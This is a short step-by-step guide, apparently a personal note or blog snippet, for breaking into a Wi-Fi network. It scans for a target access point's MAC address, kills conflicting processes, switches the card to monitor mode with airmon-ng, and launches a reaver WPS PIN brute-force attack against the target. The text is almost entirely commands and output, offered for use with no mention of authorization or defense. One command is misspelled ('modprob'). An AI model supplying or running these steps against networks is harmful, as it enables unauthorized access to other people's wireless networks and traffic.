First get mac address of the target cell;

        # iwlist wlp2s0 scan
        

Example output that matter;

        Cell 03 - Address: A8:A6:68:98:0C:C5
        

        # airmon-ng check


        Found 5 processes that could cause trouble.
        If airodump-ng, aireplay-ng or airtun-ng stops working after
        a short period of time, you may want to kill (some of) them!

        PID     Name
        1271    wpa_supplicant
        1576    wpa_supplicant
        1633    dhclient
        Process with PID 1576 (wpa_supplicant) is running on interface wlan0
        Process with PID 1633 (dhclient) is running on interface wlan0
        

Pkill or kill all of them, ex 1271;

        # kill -15 1271
        

If that fails;

        # kill -9 1271
        

Just to be sure that everything is as it should;

        # rmmod iwlmvm
        # rmmod iwlwifi
        # modprob iwlwifi
        

Put interface in monitor mode;

        # iwconfig wlp2s0 mode monitor
        # ifconfig wlp2s0 up
        

        # airmon-ng start wlp2s0


        Interface       Chipset         Driver

        wlp2s0           Intel AC        iwlwifi - [phy1]
                                        (monitor mode enabled on mon0)
        

Put mon0 on same channel of target cell;

        # iwconfig mon0 channel 6
        

Start the magic;

        # reaver -i mon0 -b A8:A6:68:98:0C:C5 -vv
